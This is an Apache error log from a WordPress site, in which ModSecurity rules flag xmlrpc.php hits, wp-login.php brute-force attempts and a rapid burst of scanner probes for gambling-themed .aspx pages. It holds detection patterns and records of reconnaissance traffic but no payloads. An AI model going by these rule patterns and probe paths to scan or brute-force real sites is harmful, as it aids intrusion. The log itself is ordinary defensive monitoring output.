[Sun Mar 15 05:28:23.967044 2026] [:error] [pid 38540:tid 38610] [client 170.84.36.168:21684] [client 170.84.36.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.84.36.168, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abXS918bnHsJ1dE90bLmqgAAAFg"]
[Sun Mar 15 05:29:30.658279 2026] [:error] [pid 38645:tid 38649] [client 170.84.36.168:21517] [client 170.84.36.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.84.36.168, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abXTOhFPHtsDUuVrWDZhyQAAAMI"]
[Sun Mar 15 05:30:19.478944 2026] [:error] [pid 38541:tid 38635] [client 170.84.36.168:21983] [client 170.84.36.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.84.36.168, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abXTa3uOpex8jIO0jt7UyAAAAJY"]
[Sun Mar 15 05:31:26.973060 2026] [:error] [pid 38540:tid 38599] [client 170.84.36.168:21560] [client 170.84.36.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.84.36.168, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abXTrl8bnHsJ1dE90bLnVAAAAE0"]
[Sun Mar 15 06:23:53.120230 2026] [:error] [pid 38541:tid 38618] [client 43.135.148.92:50754] [client 43.135.148.92] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "abXf-XuOpex8jIO0jt7mXAAAAIU"]
[Sun Mar 15 06:50:07.863385 2026] [autoindex:error] [pid 38541:tid 38625] [client 52.167.144.139:26222] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/plugins/wpforms/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 15 09:02:43.173132 2026] [:error] [pid 38541:tid 38615] [client 65.109.66.33:37650] [client 65.109.66.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.109.66.33, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abYFM3uOpex8jIO0jt4UyAAAAII"]
[Sun Mar 15 09:02:44.870624 2026] [:error] [pid 38541:tid 38614] [client 65.109.66.33:37650] [client 65.109.66.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.109.66.33, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abYFNHuOpex8jIO0jt4UywAAAIE"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 15 10:51:12.397794 2026] [autoindex:error] [pid 42570:tid 42583] [client 212.30.33.59:59741] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 15 11:36:08.023180 2026] [:error] [pid 50986:tid 51011] [client 51.77.216.124:48398] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "abYpKCknK4c779bcQqEl3gAAAVY"]
[Sun Mar 15 11:36:13.879447 2026] [:error] [pid 9995:tid 10000] [client 51.77.216.124:59918] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "abYpLQa8xkcaSmgTbwhQPQAAAQI"]
[Sun Mar 15 11:36:17.164047 2026] [:error] [pid 45974:tid 45989] [client 51.77.216.124:40732] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "abYpMRWn4R6u72Segehg5gAAAg0"]
[Sun Mar 15 11:36:22.120452 2026] [:error] [pid 38645:tid 38659] [client 51.77.216.124:40742] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "abYpNhFPHtsDUuVrWDb15QAAAMw"]
[Sun Mar 15 11:36:28.822712 2026] [:error] [pid 50986:tid 51011] [client 51.77.216.124:52304] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "abYpPCknK4c779bcQqEl-AAAAVY"]
[Sun Mar 15 11:36:33.682906 2026] [:error] [pid 38645:tid 38671] [client 51.77.216.124:52306] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "abYpQRFPHtsDUuVrWDb2AwAAANg"]
[Sun Mar 15 11:36:38.914213 2026] [:error] [pid 45801:tid 45807] [client 51.77.216.124:52940] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "abYpRoaKHL9CTKoVzTDagwAAAcQ"]
[Sun Mar 15 11:36:43.618139 2026] [:error] [pid 38645:tid 38659] [client 51.77.216.124:52946] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "abYpSxFPHtsDUuVrWDb2HgAAAMw"]
[Sun Mar 15 11:36:48.597965 2026] [:error] [pid 38645:tid 38665] [client 51.77.216.124:55914] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "abYpUBFPHtsDUuVrWDb2LQAAANI"]
[Sun Mar 15 11:36:50.951162 2026] [:error] [pid 50986:tid 50994] [client 51.77.216.124:55922] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "abYpUiknK4c779bcQqEmIQAAAUY"]
[Sun Mar 15 11:36:57.094671 2026] [:error] [pid 38536:tid 38569] [client 51.77.216.124:34462] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "abYpWfpTEqkVJ0rBEWvlqAAAABA"]
[Sun Mar 15 11:38:03.819926 2026] [:error] [pid 38645:tid 38651] [client 51.77.216.124:54944] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "abYpmxFPHtsDUuVrWDb22AAAAMQ"]
[Sun Mar 15 11:38:06.763776 2026] [:error] [pid 42570:tid 42586] [client 51.77.216.124:44330] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "abYpnsIUXZJLmk_gYCPLGAAAAY0"]
[Sun Mar 15 11:38:09.289608 2026] [:error] [pid 50986:tid 51010] [client 51.77.216.124:44342] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "abYpoSknK4c779bcQqEmggAAAVU"]
[Sun Mar 15 11:38:12.809180 2026] [:error] [pid 45801:tid 45819] [client 51.77.216.124:44348] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "abYppIaKHL9CTKoVzTDa1AAAAdA"]
[Sun Mar 15 11:38:16.048506 2026] [:error] [pid 50986:tid 51002] [client 51.77.216.124:44356] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "abYpqCknK4c779bcQqEmjwAAAU0"]
[Sun Mar 15 11:38:19.281495 2026] [:error] [pid 45974:tid 45982] [client 51.77.216.124:37100] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "abYpqxWn4R6u72SegehhdgAAAgY"]
[Sun Mar 15 11:38:22.103795 2026] [:error] [pid 50986:tid 51004] [client 51.77.216.124:37114] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "abYpriknK4c779bcQqEmmwAAAU8"]
[Sun Mar 15 11:38:24.888863 2026] [:error] [pid 38536:tid 38563] [client 51.77.216.124:37116] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "abYpsPpTEqkVJ0rBEWvlzQAAAAo"]
[Sun Mar 15 11:38:28.752536 2026] [:error] [pid 45974:tid 45991] [client 51.77.216.124:37694] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "abYptBWn4R6u72SegehhfgAAAg8"]
[Sun Mar 15 11:38:31.726232 2026] [:error] [pid 50986:tid 51010] [client 51.77.216.124:37704] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "abYptyknK4c779bcQqEmogAAAVU"]
[Sun Mar 15 11:38:34.227156 2026] [:error] [pid 50986:tid 51004] [client 51.77.216.124:37718] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "abYpuiknK4c779bcQqEmpAAAAU8"]
[Sun Mar 15 11:38:37.225360 2026] [:error] [pid 38541:tid 38621] [client 51.77.216.124:57394] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "abYpvXuOpex8jIO0jt5dbQAAAIg"]
[Sun Mar 15 11:38:40.632283 2026] [:error] [pid 38645:tid 38661] [client 51.77.216.124:57404] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "abYpwBFPHtsDUuVrWDb29wAAAM4"]
[Sun Mar 15 11:38:43.417048 2026] [:error] [pid 42570:tid 42574] [client 51.77.216.124:57414] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "abYpw8IUXZJLmk_gYCPLJQAAAYE"]
[Sun Mar 15 11:38:45.760454 2026] [:error] [pid 42570:tid 42587] [client 51.77.216.124:57428] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "abYpxcIUXZJLmk_gYCPLKwAAAY4"]
[Sun Mar 15 11:38:48.218199 2026] [:error] [pid 38541:tid 38617] [client 51.77.216.124:41622] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "abYpyHuOpex8jIO0jt5dbwAAAIQ"]
[Sun Mar 15 11:38:50.685450 2026] [:error] [pid 38645:tid 38654] [client 51.77.216.124:41632] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "abYpyhFPHtsDUuVrWDb3AwAAAMc"]
[Sun Mar 15 11:38:53.578468 2026] [:error] [pid 38645:tid 38657] [client 51.77.216.124:41640] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "abYpzRFPHtsDUuVrWDb3CAAAAMo"]
[Sun Mar 15 11:38:55.543468 2026] [:error] [pid 38645:tid 38653] [client 51.77.216.124:41648] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "abYpzxFPHtsDUuVrWDb3DQAAAMY"]
[Sun Mar 15 11:38:57.998721 2026] [:error] [pid 45801:tid 45818] [client 51.77.216.124:55974] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "abYp0YaKHL9CTKoVzTDbAAAAAc8"]
[Sun Mar 15 11:39:36.554407 2026] [:error] [pid 42570:tid 42585] [client 51.77.216.124:55984] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "abYp-MIUXZJLmk_gYCPLVwAAAYw"]
[Sun Mar 15 11:39:38.778002 2026] [:error] [pid 38645:tid 38668] [client 51.77.216.124:55830] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "abYp-hFPHtsDUuVrWDb3LQAAANU"]
[Sun Mar 15 11:39:41.287588 2026] [:error] [pid 45974:tid 45982] [client 51.77.216.124:55846] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "abYp_RWn4R6u72SegehhrAAAAgY"]
[Sun Mar 15 11:39:43.559863 2026] [:error] [pid 42570:tid 42594] [client 51.77.216.124:55856] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "abYp_8IUXZJLmk_gYCPLWQAAAZU"]
[Sun Mar 15 11:39:45.956546 2026] [:error] [pid 45974:tid 45992] [client 51.77.216.124:55870] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "abYqARWn4R6u72SegehhrgAAAhA"]
[Sun Mar 15 11:39:48.034914 2026] [:error] [pid 38645:tid 38648] [client 51.77.216.124:47404] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "abYqBBFPHtsDUuVrWDb3RQAAAME"]
[Sun Mar 15 13:04:09.286132 2026] [:error] [pid 50986:tid 51001] [client 5.134.124.40:59782] [client 5.134.124.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.134.124.40, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abY9ySknK4c779bcQqE_7wAAAUw"]
[Sun Mar 15 13:04:11.045789 2026] [:error] [pid 50986:tid 51007] [client 5.134.124.40:59782] [client 5.134.124.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.134.124.40, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abY9yyknK4c779bcQqE_8QAAAVI"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 15 14:44:38.925793 2026] [:error] [pid 45974:tid 45983] [client 173.205.125.16:59546] [client 173.205.125.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.205.125.16, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abZVVhWn4R6u72SegeiMkQAAAgc"]
[Sun Mar 15 14:44:41.620192 2026] [:error] [pid 50986:tid 51009] [client 173.205.125.16:59914] [client 173.205.125.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.205.125.16, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abZVWSknK4c779bcQqFdtQAAAVQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 15 15:52:39.175457 2026] [:error] [pid 50986:tid 51012] [client 14.160.176.153:51427] [client 14.160.176.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 14.160.176.153, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abZlRyknK4c779bcQqFwqwAAAVc"]
[Sun Mar 15 16:13:20.831668 2026] [:error] [pid 45974:tid 45976] [client 104.234.53.57:56953] [client 104.234.53.57] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.234.53.57, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abZqIBWn4R6u72SegeiiFwAAAgA"]
[Sun Mar 15 16:34:52.156949 2026] [:error] [pid 50986:tid 51011] [client 46.224.209.60:35552] [client 46.224.209.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.224.209.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abZvLCknK4c779bcQqF-5wAAAVY"]
[Sun Mar 15 16:34:54.948650 2026] [:error] [pid 50986:tid 51009] [client 46.224.209.60:35556] [client 46.224.209.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.224.209.60, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abZvLiknK4c779bcQqF-9AAAAVQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 15 16:48:20.100153 2026] [:error] [pid 38645:tid 38671] [client 54.37.252.59:54836] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "abZyVBFPHtsDUuVrWDZsewAAANg"]
[Sun Mar 15 16:48:21.947046 2026] [:error] [pid 42570:tid 42592] [client 54.37.252.59:39200] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "abZyVcIUXZJLmk_gYCPywwAAAZM"]
